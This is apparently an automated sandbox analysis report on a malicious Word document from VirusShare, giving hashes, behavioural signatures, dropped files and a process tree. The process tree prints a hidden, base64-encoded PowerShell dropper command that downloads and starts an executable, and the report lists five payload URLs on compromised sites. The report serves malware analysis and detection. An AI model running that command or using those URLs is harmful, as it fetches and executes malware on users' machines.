Resubmissions

16/04/2025, 23:23

250416-3dkjmsw1ds 10

16/04/2025, 23:22

250416-3crxbs1ms5 10

16/04/2025, 23:16

250416-29atms1ly8 10

16/04/2025, 23:10

250416-2523bswzgx 10

16/04/2025, 21:45

250416-1madxsvzg1 10

16/04/2025, 21:28

250416-1be52azmt6 10

16/04/2025, 21:16

250416-z4vkrazlz9 10

16/04/2025, 21:06

250416-zx2eqavygy 10

Analysis

  • max time kernel
    102s
  • max time network
    139s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250410-es
  • resource tags

    arch:x64arch:x86image:win11-20250410-eslocale:es-esos:windows11-21h2-x64systemwindows
  • submitted
    16/04/2025, 23:23

General

  • Target

    virusshare/2/VirusShare_2fe5b00079aec2d8369a798230313ec8.doc

  • Size

    125KB

  • MD5

    2fe5b00079aec2d8369a798230313ec8

  • SHA1

    e233595a2ee62f6197fcc7d9088fce3505c38ec0

  • SHA256

    8eb6805a0852b220695175ce81a5b139f1438dc06ea3fc1347b047702880374c

  • SHA512

    d9b4173274b49d7f041aea1a6866d5cc79530360668299385a10f25597b608308a5cb6502363709a7e09e43d30a1df95e1ab72fcc71852c78b51da016c2bbed7

  • SSDEEP

    3072:beKgdzSrG8KyIwLx3phgC1s0rPOWfKNR/:beKUzSLnLx3X3O0r2WfKNJ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/

exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/

exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/

exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/

exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\virusshare\2\VirusShare_2fe5b00079aec2d8369a798230313ec8.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2864
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:3332
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4924

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\306.exe

      Filesize

      418KB

      MD5

      d892232501048116cbc892334c0d3e13

      SHA1

      d4cf45df85e104eb0bedecc536e688cb1f35c514

      SHA256

      9f9682bad433830b948299c962decc2b4c43b838d6a26d821bcee8a0f619e803

      SHA512

      eb66a4168f3dcd8aa0bce0bae2b3a9f182124f3e46a49eedade4433c5f358f4b371c5d0ffed52a701fcc3ddbb75eedfd79503c21ab4e6045c1414d44e73ed8a5

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\1AE49A48.wmf

      Filesize

      444B

      MD5

      6de1f025c73691723dda0fbe983b4e35

      SHA1

      5a6ba622b8a0b45dfc6bc6210cd24961518c29f1

      SHA256

      b6440666f2d7c10e28eb67876ccf507a1620a6136647dbc9e21e401ca2da27d0

      SHA512

      e103dee8c4787aa9fe70d280a254378a4d80d7fbf9be013c2832f4789d985588183f34aef2f4e5d251d967c43c693bcff65bb6e66d272d8eeece4ce813621ada

    • C:\Users\Admin\AppData\Local\Temp\TCDBBED.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_t2fkus2s.bm4.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

      Filesize

      1KB

      MD5

      e1afdf25f5f563633aad2aa735ffa000

      SHA1

      4fcd65f0f78dcede00b5400d53cdcd1564d5ba37

      SHA256

      cf987ca2e992b80dd740ec15e7a49537e4a07dd5b72f5ccfc772b1ea9c908d80

      SHA512

      23372ee24e3d279aa740147575b7db06a6403da6f8cf022b63dde5f7355341e7e6bab49167d69da4c41de145ca147fe23a36959f625a7da3e5c245de3b9d066d

    • memory/2864-22-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-6-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-5-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-2-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-9-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-11-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-12-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-10-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-14-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-15-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-13-0x00007FFB64E50000-0x00007FFB64E60000-memory.dmp

      Filesize

      64KB

    • memory/2864-16-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-18-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-20-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-19-0x00007FFB64E50000-0x00007FFB64E60000-memory.dmp

      Filesize

      64KB

    • memory/2864-1-0x00007FFBA71A3000-0x00007FFBA71A4000-memory.dmp

      Filesize

      4KB

    • memory/2864-21-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-17-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-8-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-7-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-544-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-540-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-543-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-542-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-541-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-68-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-69-0x00007FFBA71A3000-0x00007FFBA71A4000-memory.dmp

      Filesize

      4KB

    • memory/2864-70-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-71-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-4-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-3-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/2864-105-0x00007FFBA7100000-0x00007FFBA7309000-memory.dmp

      Filesize

      2.0MB

    • memory/2864-0-0x00007FFB67190000-0x00007FFB671A0000-memory.dmp

      Filesize

      64KB

    • memory/4924-65-0x0000024EFB270000-0x0000024EFB2B0000-memory.dmp

      Filesize

      256KB

    • memory/4924-59-0x0000024EFB340000-0x0000024EFB442000-memory.dmp

      Filesize

      1.0MB

    • memory/4924-58-0x0000024EFB110000-0x0000024EFB132000-memory.dmp

      Filesize

      136KB

    • memory/4924-57-0x0000024EF9250000-0x0000024EF9260000-memory.dmp

      Filesize

      64KB

    • memory/4924-48-0x0000024EFB1A0000-0x0000024EFB222000-memory.dmp

      Filesize

      520KB